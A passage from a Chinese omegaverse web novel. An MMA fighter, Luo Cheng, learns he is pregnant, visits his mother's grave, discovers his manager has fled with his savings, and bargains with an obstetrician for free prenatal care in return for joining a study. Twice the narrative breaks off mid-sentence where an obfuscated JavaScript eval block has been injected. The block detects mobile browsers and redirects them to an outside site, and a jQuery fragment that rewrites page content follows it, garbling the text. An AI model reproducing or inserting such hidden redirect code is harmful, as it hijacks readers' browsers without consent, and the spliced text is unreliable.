走到卫生间查看昨夜塞在□□里的纸巾,上面印着一小片血痕,比昨夜在医院的多一些,但已经完全干涸。拧了条热毛巾小心翼翼地将皮肤上的血迹擦干净,洛城寻思:今天早上没有干呕呢……结果牙刷刚刚伸进嘴巴,他的喉管便一阵抽搐,撕心裂肺地呕了起来。 良久,洛城扶着洗手台直起腰,生无可恋地望向镜中面色苍白的自己,露出一个比哭还难看的笑:真是说什么来什么……又低下头,捞起衣服下摆,摸一摸自己依旧分明的腹肌:你才这么点儿大,就把我折腾得死去活来,等到生的时候,我不得被你索去半条命啊? 越想越觉得害怕,洛城瞪着眼,忽然给了自己一巴掌:不准想!不准想!思前想后易生变,既然决定了就别再纠结!……骂骂咧咧地漱个口洗个脸,他把毛巾一摔,攥起二个拳头,雄赳赳气昂昂地走出了房间。 门外,敏姨给他煮好了午餐,正端盘上桌。见他出现,头发花白的Omega阿姨不禁露出了关切的眼神:“阿城,你起床了啊?”赶忙擦干净手走上前,敏姨心疼地看着他颧骨和嘴角的青肿,唉声叹气道:“你这些伤,怎么也不擦个药啊?眼底血管都爆了,没去买个消炎眼药水吗?……你那老板怎么这么不负责任呀?” “他气我输掉比赛呢,哪会管我死活?”洛城心底有气,这会儿就开始栽赃诬陷:“昨晚还杀到这儿来兴师问罪,说我消极比赛、不负责任,要跟我解约!哼,枉费我给他卖命这么多年……冷酷无情的资本家!” “就是,这么冷血!”敏姨附和着,给他盛了碗汤:“咱们不理他,好好养伤!等伤好了,爱去哪儿就去哪儿,不跟他混了!” “嗯!”两人一唱一和的,半晌抬眸对望,一齐笑了起来,不再作怪。这时,洛城见汤底又躺着一些药材,他忽然想到什么,问:“敏姨,这些药材,是不是补气血的?” 敏姨道:“是呀,都是补气血的,你喝了才更好恢复。喏,这是党参,这是黄芪,还有当归……”她一连说了六样药材,都挺耳熟。洛城静静思忖一会儿,忽而抬起眼,短促地对她笑了笑:“谢谢敏姨,以后我一定都喝光。” “这么乖呀!”不禁大为欣慰,敏姨笑得眉眼弯弯:“你总算是明白我一番苦心了。年轻人还是要认真保养,别仗着身强体壮就可劲儿折腾,尤其是你这种工作的,气血损耗更加厉害……明天我再给你炖个乳鸽,啊?受伤了要好好补一补。” 她又递了一碗牛肉山药粳米粥过来,放到眼前。洛城认真地点点头,应了一声“好”。 ------------- 下午无事,眼瞅着也不流血了,洛城想到这一个多月以来还没去祭拜过妈妈,于是换上背心长裤,又特意戴了鸭舌帽和口罩出门。他让的士司机往望海路那边绕了一圈,去买妈妈爱吃的那家卤味和米酒,用纸袋打包好搂在怀里,一齐带去墓园。 不年不节的,又夏日炎炎,墓园里祭拜的人寥寥无几。沿着墓园上坡的路缓缓爬去,昨夜比赛留下的腿上和背伤隐隐作痛,汗液沿着皮肤流淌下来,浸到颧骨的伤口上,更是疼痛难忍。洛城不禁气喘吁吁地停下来,垂脸注视着地上不断落下的汗迹——难怪这次备赛时老觉得累,原来啊,都是有原因的。 二十分钟后终于来到墓前,洛城累极,想找个地方坐下,然而大理石地面被晒得滚烫,他根本无处可坐。无法,只能蹲下来,窸窸窣窣地从纸袋里掏出那几样卤味一字排开,又拿出一小瓶酒。祭拜前自己先尝一口,甜甜的口感,酒精度并不高,妈妈就爱喝这个。 洛城笑笑,将满瓶酒液洒在墓碑前的草地里,喃喃自语道:“今天忘记带酒杯啦,先将就着这么喝吧。哎,别把你面前这一片草给浇死了。” “我这次比赛输啦,没打赢,输得还挺难看,粉丝们肯定要把我骂死了。不过没事,以后我肯定会再打回来的,今天就是跟你提一嘴,汇报汇报,免得你说我报喜不报忧。”一边说着一边汗流浃背,他终于忍不住扯开口罩,大口喘气,呼吸不稳道:“重要的是另外一件事……去年你不老说想抱孙女么?喏,现在有一个了,我自己生的——” 他拍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13572155|142950||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拍自己的肚子,那儿还有昨夜被击腹留下来的青黑,一碰便疼得倒抽凉气。不禁扭曲了脸,洛城拧着五官蜷成一团,哭笑不得地控诉:“妈,你怎么把我生成这么个奇怪的体质啊,又A又O的……我说我初中那会儿怎么时不时就发低烧呢,你也不当回事儿,硬说是我自己玩疯了太兴奋闹的。你要是稍微上点儿心,估计我早就做手术把omega那部分切除了,也就不会导致今天的境地……” 不过这样的话,这个孩子也不会存在了。 埋着脸叹息一声,洛城抬起头,眼神涣散:“我还不知道孩子她爸是谁呢……”应该是个有钱人吧?好像挺年轻的,长得也高大——这是不幸中的万幸了。如果自己睡的是一个年过半百的肥猪Alpha,那么……在烈日炎炎之下,洛城不禁用力打一个冷颤,恶心地咧了咧嘴。 蹲在那儿又跟妈妈扯了些乱七八糟的,过了约莫二十分钟,洛城实在被晒得受不了,决定先走一步:“早知如此,就买一个靠边的位置,好歹还能有点儿树荫。妈,我走了啊,下次选个雨天来看你。”他撑着膝盖站起身,一抬头就猛地晕了一下,差点儿跌倒在地!赶忙扶住一旁的墓碑,却忘记了石头被太阳晒得滚烫,又猛地抽回手,洛城“嗷”一声,好半天才缓过来,哭丧着脸仰头哀叫:“妈,你怎么也不保佑我!” 人倒霉起来真是事事都不顺。吹着烫红的掌心缓缓走下坡,洛城不禁臭着脸对自己的肚子指指点点:“是不是你,嗯?!你是个倒霉鬼对不对,把我的运势都抢了,自己倒长得雄赳赳气昂昂的,医生都以为你有七周大了!” 平坦的肚子沉默着,没有回应。洛城又垂下眼帘,浓长的睫毛轻轻颤,将手掌贴上去:“别老整我知道吗?我是你爸,我要是不舒服,你以为你有好果子吃?……哼,笨蛋小东西。” 自言自语地走到大门口,洛城从小门出去,不经意间与守门的老大爷对视了一眼。他惯爱跟人寒暄,见人就打招呼:“大爷,喝茶啊?这琥珀色的是什么茶?” “普洱茶!”大爷也笑,说话间颇为惊异地上下打量他两圈,忽然道:“你家老妈子葬在这儿啊?” “是啊,大爷你怎么知道?” “前几天晚上有人来这里找你呢!”终于对上号了,大爷很有些激动,放下茶杯跟他绘声绘色地描述:“几个高大的alpha!说找不到你了,怕你来找老妈说话,就求我开门让他们进去。那几个好像都是搞体育的,身板那个结实,跟你差不多!就是矮点儿。哦,有一个高的,长得那个帅,一身西装,就是太白了,白得像鬼。大晚上的往窗户外边儿一站,吓我好大一跳!” 洛城一听便知道是谁了——身板结实的是曹教练,那个又白又帅穿西装的,除了闻人律,其他人不做二想。 ……他们居然找到墓园来。 张张唇,直到这一刻,洛城才明白自己的“意外”给大家造成了多大的不便。低声对老大爷道了声谢,他在街边打了辆的士,恍惚地坐进去。半晌,洛城低下头点点肚子,苦笑着又给这个未出世的小东西身上记了一笔:“看看,看看!都怪你!” 无声骂完,抬头望见前座的司机师傅,才想起昨夜那二个司机以及宁祁的钱还没有给。他按照记录的手机号发信息过去,很快结清了欠款。倒是宁祁那边没回他的微信好友申请,可能在上班,所以没空看手机。直到半个钟后回了家,那厮才通过申请,并发来一条信息:“今天还流血吗?” “昨夜流了点儿,今早止住了。昨天的检查多少钱?我还给你。” “三百四十五。”宁祁说。不一会儿,他又发来一张检查报告单。上头印着整整齐齐的四排黑色“毛毛虫”,洛城看不懂,问:“这是什么鬼东西?” “你的染色体检查报告。”宁祁说。“哪天你来产科建个档吧,我跟你讲一讲这个结果,顺便做进一步的检查。” 不禁拧起眉,洛城满脸都是抗拒:“还要做什么检查?” “目前可以确定,你的Omega生殖系统是可以正常运作的,但Alpha的还不好说。这关系到生产之后你的性别选择——你也不想一直以AO双性的状态生活下去吧?” 这话虽然说得不错,但是……老子的Alpha生殖系统怎么可能没有用!洛城又气又慌,当即不再搭理他,点开转账页面打算速战速决。然而就在他准备录入指纹付款时,却发现银行卡的余额显示不足。想起最近这阵子自己的经纪人李志明因家事请假,可能没有把另一张卡的钱按时转过来,洛城犹豫几秒,翻开通讯录,拨通了他的电话。 只听得听筒里传来机械的提示音:“您好,您拨打的电话是空号,请您确定号码后再拨……” 洛城错愕地望着手机屏幕,心中忽然升起了不妙的预感。 22. 一夜变穷 被洛城气得一晚上没睡好觉,闻人律下午来到公司,得知陆庭风也没来,干脆把所有事务都推到了明天去,自己则气鼓鼓地坐在转椅里,自虐一般仔细翻看各大媒体关于昨晚比赛的新闻报道。 网上这些看热闹不嫌事大的新闻号总喜欢用一些很惊悚的词,比如“兵败如山倒”、“缩尾败逃”之类,把对同胞落败的怒气都发泄在了报道里。网民们自然也是气愤不已,破口大骂:“居然在家门口被打得毫无招架之力,第二回合就输掉,我真服了!……还说什么世界排名第五,现在看来,这个排名水分太大了!” “不对吧?我看他的那个对手块头好大,怎么可能是一个量级的。是不是UFC方面给那个金毛男开了后门?” 你一言我一语吵得乌烟瘴气,闻人律不禁疲惫地闭上眼,心道:综合格斗的推广之路任重而道远啊——这些人分明没看懂比赛,就是来凑热闹的! 再往下翻,评论里终于出现了懂行的格斗粉丝: “洛城这次比赛的状态很奇怪,他以前没有这么瘦的。我一直在关注他的健康团队,有两次他们透露了洛城的赛前体重,分别是205斤和207斤,而且整个人比较干,肌肉分明,状态相当炸裂!这一次跟以前相比,有点儿过于削瘦了——称重之前有报道说他去酒吧喝酒约炮?不知道跟这个有没有关系。” “不管是出于什么原因,他都不应该这么掉以轻心!这一次Dana安排他跟奥康纳打,说白了是用他给奥康纳当垫脚石,但以现在奥康纳的高关注度和高人气,这又何尝不是给他一次展示的机会?就不说赢了,但凡他打得血性点、有骨气点,这次都能涨粉不少,以后比赛的出场费也能大涨一波,说不定还能拿到pvp分成。结果他就打成这样……?太令人失望了。” 是啊,太令人失望了。放下手机,乏力地闭上眼,闻人律终于感觉到疲倦——一直以来他笃信洛城能大放异彩、在八角笼中征服世界,他也努力地把人往这方面打造,鞭策他、督促他,简直像苦口婆心的父母约束一个青春期的儿子。但是到头来,他依旧不以为意地我行我素,在关键时刻掉链子……难道自己真的错了? 就像陆庭风说的那样,有些人注定是要浪费天赋的,并不是所有人都懂得珍惜。也许,洛城就是不懂得珍惜的那一个。 正反思着,办公室门口一阵高跟鞋声音由远及近。闻人律睁开眼,见林秘书带着一种忧虑的神情走过来,弯下腰轻声道:“律总,好几个运动员找你,说要跟你反映一件事……关于经纪人李志明的。” 李志明?眉头一拧,闻人律迅速挺直脊背,神情顷刻间变得冷肃:“让他们进来。” 林秘书走出去,八名运动员鱼贯而入。其中有一人叫周青云的,闻人律记得很清楚,这人性格跳脱,经常黏着洛城,对他很是崇拜。然而这时,他脸上挂着一副愁眉苦脸的表情,一进来便道:“律总,你能联系得上李志明吗?他跟我们借了好些钱,加起来差不多有六十万,结果现在人却失联了,电话也成了空号!要不是何立帆急着用钱,今早给他打电话,我们都还被蒙在鼓里呢!” 电话成了空号?闻人律心中“咯噔”一下,联想到最近金融界爆出的一系列骗局,再联系李志明以前的作风传闻……他面色肃穆,当机立断道:“报警吧。这可能是个大事,还是早点儿让警察介入比较好。” 他转而拨通了洛城的电话——如果这些小年轻都被李志明借走了六十万的话,那洛城的钱肯定被刮得更多。 本以为昨晚两人吵架后,他可能不会接自己的电话,闻人律已经做好了借别人手机的准备。可没想到,等候音仅仅响了两声,那头就接了起来:“喂?”语气听上去有些浮躁,好像是发生了什么难以招架的事情。 “你有空来公司一趟吗?有件事需要跟你确认一下,关于你的经纪人李志明。” 那头沉默了足足五六秒,随即传来咬牙切齿的声音:“知道了,我马上过去。” ------------------------- 洛城赶到公司的时候,警察还没有到。 见他黑沉着脸急冲冲地朝办公室走来,步履如风,神情凝重,闻人律忍不住审视地眯起眼,心道:昨晚怎么不见你有这样的气势?现在被骗钱了,终于知道着急了? 这会儿洛城也不跟他拍桌子叫板着要解约了,进来后只短促地瞥他一眼,便焦急地望向周青云等人:“你们都打不通他电话?” “何止打不通!”一个女性Alpha运动员满脸怨念地说:“我还去他家找人,才知道他早把房子卖了!” 闻言,洛城心中最后一丝希望也破灭了,顿时脚下一软,天旋地转地坐到沙发上,眼中都是恍惚。周青云虽然被骗了三万多,但比起洛城来肯定连个零头也算不上,心里不禁充满了同情:“城哥,你被他坑了多少啊?” “我……”洛城说话时呼吸都是虚的,脸上的血色在极速褪去,嘴唇木木地张合:“他之前劝说我投资一个项目,我两套全款的房子都拿去抵押了……工资卡也是他帮我管理的,信用卡他也知道密码……” 两套申城的全款房……!在座的运动员全都目瞪口呆,连闻人律也惊得眼帘一抬,几乎是恨铁不成钢地脱口而出:“洛城你脑子里在想什么?你把工资卡让他管理就算了,全款的房子你也抵押给他?!……他现在跑了,你怎么还款?逾期超过半年,法院是要把房子查封的你知不知道?” “我……”洛城浑浑噩噩地抬起头看他,眼中满是混乱的情绪,俨然已经无法思考了。闻人律不禁又开始头痛——怎么回事?自清明过后,公司没有一件事是顺的。他最近究竟是得罪了哪路神仙,才会倒霉到这个地步? 这时,两名警察终于姗姗来迟。林秘书领着他们二人进来时,闻人律还心想:怎么没穿警服?但稍一转念,又默默庆幸:还好是便装,不然让员工们看见,肯定要人心惶惶了。 向几位被借钱的运动员简单了解过情况之后,二位警察走向闻人律,面无表情道:“这位老总,方便跟我们去警局立个案吗?顺便做个笔录。” “他们要去吗?”闻人律下意识望向沙发上浑浑噩噩的洛城。 “都要去。”警察说。 沉默一会儿,闻人律站起身,径直朝洛城走了过去。这个人不知从哪儿来,穿着背心,两条长臂上都是汗腻,仿佛在太阳下待了很久。望着他微乱的卷发,闻人律眉头紧蹙着,心里重重叹了口气,沉闷道:“走吧,去警局。先把事情查清楚了,再想解决的办法。” 洛城仿佛没听见一般,依旧自怨自艾地垂着头,如坠云里雾里。见状,闻人律不禁烦躁,伸手猛地一薅他背心后襟,将人拽起来拖了出去。 ---------------------- 到警察局立案之后,一共有五名经侦科的警员过来给他们做笔录。闻人律与其他八位运动员都做得很快,十来分钟就结束了,唯有洛城依旧待在房间里,迟迟不见人影。 周青云眼巴巴地望着紧闭的房门,又望一望神情严肃、翘首以盼的大老板,终于忍不住小声问:“律总……你说,我们的钱能不能追回来啊?” “嗯?”闻人律短促地瞥他一眼,心不在焉:“不确定。如果李志明已经出境的话,那大概率是追不回来了。” “呜,”不禁哀鸣一声,周青云悲催地捂住心口:“我的三万五千块……” 你哭什么?听得心烦,闻人律闭上眼,缓缓深吸一口气:洛城那边起码被卷了一千二百万的款,还不知道该怎么填这个窟窿呢。 十五分钟后,洛城终于出来了,脸上带着好不容易恍过神的颓丧神色。讯问的警员几乎是扶着他的手臂走过来,将他交到闻人律手里——被迫揽住洛城的后背,闻人律的神情有一瞬间的不自在,只维持三秒便收回了手,面色冷峻地问:“现在怎么样,还需要配合什么?” “现在的话,需要这位洛先生跟我们去一趟银行,打印一下他的银行卡近半年的流水,以及调查抵押房屋的还款情况。至于闻人先生,您那边让人事部把嫌疑人的资料调出来,扫描后给我们发一份。”警员耐心地嘱咐道。 望着洛城追悔莫及到几乎快哭出来的神情,闻人律短促地应了声好,又问:“我这边可以派个财务一起跟去吗?……毕竟公司方面也要评估这件事的严重性。而且,以他目前的状态,估计没法很好地配合你们。” “可以的。”警员点点头,指向大厅角落的椅子:“其他人可以先回去了,洛先生先去那里坐一坐吧,出外勤的同事马上就回来。” 闻言, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13572156|142950||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 其他人唉声叹气地离去了,倒是周青云乖觉,上前揽住洛城,一边安慰一边引着他朝座椅走去。瞥一眼他俩同病相怜的背影,闻人律没说什么,沉着脸走到一旁,眉头紧锁地拿出了手机。 -------------- 在警员和林秘书的陪同下,经过一整个下午的奔波,洛城的损失有了具体的数目: 两套房共抵押了一千三百六十万,李志明将钱尽数卷走,只还了五个月的贷款,如今已逾期二个月。按理说洛城那儿应该会收到短信催收提醒,但他拿出手机查看后才发现,银行的短信和号码不知何时被屏蔽了!想来是之前李志明拿他的手机偷偷操作的。 银行卡里本来有一百五十多万存款,已被李志明在两个月前分批转走。信用卡也刷爆了,欠了三十多万,如今已逾期一个月。每确认一项损失,洛城的眼神便麻木一分。到了最后,他几乎成了木偶,只会在林秘书的牵引下木然地出示身份证、输入密码、刷脸,像个置身事外的工具人。 晚上七点,事情终于告一段落。从警察局出来时,洛城终于抬起头,望向林秘书担忧的脸,强颜欢笑道:“谢谢你啊,林秘书,麻烦你跟我跑那么久。哪天有空,我请你吃个饭,今天太晚了,你先下班吧。” 林秘书看着他笑得比哭还难看的脸,脸上虽不明所以,但心里跟明镜似的:哪是因为时间太晚?是你没钱了吧,两张银行卡都是空的。她道:“你等等……我刚给律总发了信息,看看他那边有什么吩咐。” 要是往日,洛城肯定嗤一声,说关他什么事?可今日接二连三的打击太多,他的脑子已经转不过来了,林秘书叫他等,他就靠在警局门口的柱子上等着,双眼茫然地望向某处,仿佛望着自己不知去向的未来。 这时,林秘书的手机响了起来。她看一眼走神的洛城,跑开几步,到角落里摁下接听键,轻声道:“喂?律总,现在应该怎么办。” “他的卡真的都没钱了?”闻人律的声音倒是冷静,只不过略带一丝不满,也不知是在责备谁。林秘书点点头,道:“他有两张储蓄卡,一张信用卡,都没钱了。刚才我们去银行查,他自用的那张卡只剩下四十多块,还不够吃一顿饭的。” “那你跟唐秘书说,先给他转一万块急用吧。”说这话时,闻人律兼带叹了口气,不用想就知道他又开始头疼了。林秘书小心翼翼地提醒道:“律总,这次比赛的收支还没完成核算呢,发不出来……” “用我的卡,走私账,之后再还给我就行。”说完他就干净利落地挂了电话,再无其他吩咐。无奈,林秘书只得回去跟洛城道:“那,城哥我先回去了。唐秘书那边待会儿会给你打一些钱急用,你也好好休息,别想太多。” “好。”此时洛城已经笑不出来了,嘴角扯了扯权作送别,其实一低头五官便耷拉下去,整张脸变作哭丧。他意志消沉地快步走向街边,仿佛逃离一个虚幻的梦境,迫切到几近惊惶。然而警察局离家6.6公里,他现在卡里只剩下四十二块,连的士都坐不起了。对着车流挣扎一会儿,最后只得沿着马路走回去。 洛城感觉自己的肠子都要悔青了。 明知道李志明这家伙是个不安分的,只不过跟自己相识于微末之时,狐朋狗友地混了那么几年,就一腔热血地把人保进了“登峰”里,还指定他做自己的经纪人。李志明喜欢赌,他早就了解的,但一直没当回事,心想只是小赌罢了,无伤大雅。而且司法那么严格,他再坏也不敢太过分,只是玩一玩而已……如今陷入这样的境地,洛城苦笑,只能怪自己咎由自取。 ……他还想着要养宝宝呢。 忍不住抚上小腹,洛城茫然地在十字路口边缘停了下来,立在纷乱嘈杂的汽车鸣笛声之中。虽然他对怀孕知之甚少,但建档、产检肯定要花一大笔钱的,更别提生产后还要养育孩子。这段时间他都没法比赛,那钱从何来呢? 想得越远、心便越慌。他在街边惶惶然立了许久,久到来往的行人都奇怪地回头打量他,伸着手指指点点。晚上七点半的时间,路灯都已经亮了起来,夜风依旧带着潮热的温度。洛城望着街对面刺眼的灯光,忽然想起宁祁之前跟他提议的课题研究——如果自己配合的话,会不会有优惠呢? 想到这个可能,他精神立即振奋,手忙脚乱地掏出了手机。 23. 绝佳的借口 宁祁刚下班不久。一出办公室就被其他同事拉去吃饭了,在医院附近的小餐馆,点了几个炒菜、几瓶啤酒,一边吃一边闲聊。都是同个科室的,有点儿什么消息其实很难瞒住。吃到一半时,某个同事就问他:“之前不是听说你碰到个罕见的产科病例,怎么样,人家答应跟你做课题了吗?” “没呢。”宁祁也不藏着掖着,叹气道:“对方只答应来我这儿做产检,多余的检查一概不做,这样根本没法儿开展研究……” “嘿!”同事忽然坏笑:“用你的魅力征服他啊!你不是咱们医院的颜值担当吗,多少痴男怨女为了你要死要活,还有咱们院长家的秦公子……哈哈哈,你还拿不下一个病人?” 大家一齐笑起来,几双眼睛或调侃或奚落地望向他,显然是幸灾乐祸。宁祁皮笑肉不笑地扯扯嘴角,只当做看不见:“过奖过奖。可惜啊,这次的病人好像不喜欢我这一型的,我的脸再好看也没用。” 吃过饭取车回家,他一边开车一边想着那些人阴阳怪气的话语,温润的脸色再难维持,迅速跌到了冰点。医院这地方不缺人才,同时也不缺绯闻,这一点谁也别笑谁,都是一般黑。那几个同事也免不了俗的,大家心知肚明,只不过出于某种心理,一致决定将自己列为靶子罢了。 想到这儿,宁祁心里忽然又平衡了——恐怕是他们的姘头眼馋自己的外形吧。毕竟,身高和长相是可遇不可求的。委身于那些歪瓜裂枣,心有不甘也是情有可原。 在离家还有二个红绿灯时,他的手机响了起来,是《沧海一声笑》。一听见这个专属的铃声,宁祁立即振奋,迅速摁下了接听键:“喂,洛先生?找我什么事。” 对面的声音急慌慌的,似乎非常紧迫,背景音里还透着许多嘈杂的人声:“你之前不是让我配合你做课题研究吗?……如果我答应了,有没有什么好处?” “呃,”宁祁顿住了,思索两秒,道:“产前的检查肯定是免费的,生产的费用也可以帮你减免。” “减免?”洛城敏锐地捕捉到这个词,警觉得简直像一个难缠的吝啬鬼:“我这么罕见的体质,又是这么特殊的行业,配合你做课题简直是豁出了名声和事业,你居然只说减免?” 说这话时,他身后开过一辆小电车,“滴滴”摁着喇叭,刺耳至极。宁祁不禁猛掩住耳朵,哭笑不得道:“你在哪儿给我打电话啊,街边吗?” “你管我在哪里打电话……” 此时红灯亮起,车流缓缓停下来,停在十字路口。宁祁听见那头的喇叭声跟窗外的声音居然先后重合了——他俩似乎在同一地点?立刻打开车窗朝外张望,路边一个鹤立鸡群的高大身影迅速吸引了他的视线:“……你转身,看右边。” 对方身形一顿,狐疑地转过身,那张五官浓烈的蜜色脸庞,颧骨上还带着淤青和伤口,不是洛城是谁? 招招手把人叫过来,宁祁靠在窗边,仰视着他宽肩长腿的高大身材逐步走近,那个压迫感、那不经意间散发出来的迫人气势——谁能想到这竟是一个AO双性者呢?不禁感慨地叹一口气,他道:“我家就在前面,你要不要去坐坐,咱们也好仔细聊一聊。” 洛城明显有些心不在焉,也不答话,径直拉开后座车门坐了进来,一声不吭。宁祁又叹口气,只不过这次是无奈:看来是把自己当司机了。正好,红灯结束,他立刻发动车子,迫不及待地朝自家小区驶去。 ------------------------ 宁祁家的小区跟洛城住的那套有点儿像,建筑风格、路网规划,甚至是绿化的种类都十分相似,仿佛是同个开发商的作品。洛城不禁四下里打量一番,问:“你买的多少平的房子?” “一百三十平。”宁祁带他走进某个单元的电梯厅,两个一米八五以上的人往电梯前一站,四周顿觉逼仄。洛城又问:“全款还是分期?” 这还用问吗?宁祁通过镜面望向他,面带揶揄:“洛先生,我只是个普通的三甲医院产科医生,你觉得我有能力全款买下申城的房吗?” ……洛城悻悻地闭上嘴,半晌不禁苦笑:我倒是全款买的房,但那又怎样呢?现在那房都不是我的了。 电梯到达十二楼时,宁祁领着他走出去,摁指纹开了门。一进玄关,二人便闻到了一阵饭菜香气,餐厅里走出一个修长的身影,满怀期待地喊:“宁祁!你怎么现在才回来?” 高挑俊美的Omega显然没想到自家男友居然带了个人高马大的Alpha回家,当即愣住了,难以置信道:“他是谁……?今天是我俩谈恋爱纪念日,你带人回来干嘛?” 闻言,宁祁微微一惊,但面上不显,转而露出笑容:“对对,一周年,我记着呢。但今天不是周二吗?也不好庆祝,我准备周末带你去外头散散心的,小住一晚,就是昨天太忙了,忘了跟你说……” “宁祁,你当我是傻子吗?”对方沉下脸,没有理会他找补的话,将围裙脱下来用力一摔,转头抓起手机便夺门而去,顺便恶狠狠地撞了他一下。望着宁祁略显痛苦的神色,洛城眼中不由露出同情:“你男朋友还挺硬气的……Beta?” “他是Omega,只不过长得硬朗点儿。”不愿多解释,宁祁揉着胸口走向客厅,抬手招呼他坐下,直入主题:“你刚才电话里说,愿意配合我做课题……怎么,改主意了?” 一涉及到自己,洛城便板起脸,守口如瓶了:“你管我为什么改主意,你只需要告诉我,我有什么好处就行。” 一般科研课题都能申请到医院的科研经费,覆盖产检以及生产的费用肯定是没问题的,但宁祁直觉洛城这边肯定出了什么大岔子,所以想借机探查一番:“洛先生你有所不知,我们院的科研经费比较紧张,每一笔钱都要算计着花。如果没有充分的理由,我不好跟医院交待的……” “是吗?”不料洛城根本不上他的当,眼睛怀疑地一眯,不紧不慢道:“那行,我去问问别的医院——未必只有你们需要做课题研究!”说着起身就要走,宁祁忙不迭扑过去拖住他的手臂,败下阵来:“好好好!我给你费用全免,全免行了吧!” 目的达到,洛城转过身,想一想又问:“那出生以后,孩子的奶粉和尿片……?” 宁祁哭笑不得:“这个也要我们出啊!” 洛城立即作势要走:“我去找别的医院……” “别别别!都有得商量嘛!”宁祁那个崩溃,心里忍不住想:这个国际知名格斗选手,怎么是个无赖来的? ---------------------- 那天晚上回到家,洛城看见桌上敏姨做的饭已经凉了,山药排骨汤凝起一层薄薄的油膜,青菜叶子上也结了一星星油花。整间屋子里只亮着盏小灯,像一个沉默的家人,在静静等待着自己。 ……以后,怕是也没法继续聘用敏姨了吧。 将饭菜盖好保鲜膜,收进冰箱,洛城随便冲了个澡,洗去奔波一天的汗腻,随即自暴自弃地躺到床上,静静地望着天花板。下午事情刚曝出来时,他的脑子就跟一锅粥一样,混混沌沌、六神无主。刚才去宁祁那儿稍一拉扯,他倒逐渐清明了——目前其他的事情都不重要,所有问题暂时放到一旁,先把孩子生出来再说。 金钱、事业、名声,这些东西,他能赚一次,就能赚第二次。但是孩子……错过了这个,下一个就不知道是什么时候了。而且,即使真的再有,跟他也不会是最亲的。他只有一次用自身血肉铸就一个宝宝的机会,一个跟他密不可分的、完完全全属于他自己的宝宝。 想到这儿,洛城咧着嘴角,露出了这几天以来的第一个笑容。 第二天一早,他如约前往附属医院,空着肚子找宁祁建档。为了掩人耳目,洛城特意穿了件带袖子的宽松t恤、一条压箱底的宽松长裤,头戴一顶渔夫帽,墨镜戴上、口罩戴上,只露出高高的鼻梁,乍看去简直像个高挑的外国人,宁祁都差点儿没认出来。 “……洛城?”他试探着唤。 对方取下墨镜拉开口罩,露出一张沁着热汗的俊脸,眼角眉梢都透着烦躁:“不是我是谁?!” 得,又惹着他了。干脆闭上嘴,宁祁飞快地开了几张单子,招来一个小护士带他去做检查。小姑娘叫苏林菲,好像是个Beta,嘴角紧抿着快步走过来,似乎在努力压抑激动的心情:“洛……嗯,跟、跟我来吧。” 穿过医院的走廊,洛城人高马大又全副武装的,等候检查的孕产妇们和医生们都忍不住看他几眼,还以为这是哪个明星带老婆来生孩子呢。苏林菲一路上不停看洛城,眼见着他眉心愈发紧蹙,似乎是反感,又更像是紧张。赶忙走快一些,进到电梯里,四下终于安静了,洛城的眉心也逐渐放松。傻望着他浓黑的眉毛,苏林菲终于忍不住慨叹出声:“洛先生,你真的长得好帅呀!” ……一句话把洛城给逗乐了,眼睛微微弯起来,垂眸瞥她:“我戴着口罩你也看得出帅?” “我去网上搜了你的视频啊!”他一笑,小姑娘的兴奋更直白了,两只眼睛简直像在放光:“你有少数民族血统吧?我感觉你特别像那种藏族的大帅哥,大双眼皮儿,高鼻梁,深色皮肤,而且你头发也是卷的!你是藏族人吧?” “不是,”洛城笑着摇摇头,“我妈妈是彝族人。” “原来是彝族啊!”终于得到答案,苏林菲笑得很开心:“以后你的宝宝生出来,肯定也特别好看!大眼睛,小麦色皮肤,头发又浓又黑,天然卷。” 她说得极坦然,没有小心翼翼,也没有见猎心喜,就像在祝福一个普通的孕夫。洛城的心终于放松下来,仿佛落到了实处:“……借你吉言。” 抽了整整七管血,苏林菲带他去体检中心那边吃过早饭,又领着他回产科填写档案表,一路上尽职尽责地给他讲解孕期的注意事项:“一般怀孕三个月才需要建档,但你的情况比较特殊,所以很多事都提前了,检查也比一般的产检多得多……你现在还流血吗?孕早期一定要小心哦,这是胚胎最脆弱的时候,不能马虎的。要吃好、睡好,戒烟戒酒,别剧烈运动……” 洛城听得太阳穴一跳,不安地问:“我……我前几天刚喝过酒,还喝得挺多,有没有事啊?” 闻言,苏林菲震惊地望向他,似乎在想这人比赛之前怎么还酗酒的?她一言难尽地咽口唾沫,艰难道:“这个嘛……书上说是酒精会导致胚胎畸形,但我们科也经常碰见一些孕妇,他们粗心点儿,不知道自己怀孕,就喝了酒。不过最后宝宝生出来,基本上都没什么问题,所以,我们可以再观察观察……” 基本上?这个概率是百分之几?洛城的心依旧提着,只不过多了一些侥幸的想法,期待自己也是“幸运”的那一个。一会儿回到产科,他们没去诊室,而是直接去了宁祁的办公室填表。望着表格里学历那一栏,洛城不禁拧眉,心头隐隐不快:“怎么,现在生小孩还要看学历?” 苏林菲无奈地笑笑:“因为有些低学历的孕妇不遵医嘱,我们需要区别出来,再特别关照……” 闻言,洛城抬眼瞥她:“我高中毕业证都没拿到,是不是也要被特别关照?” 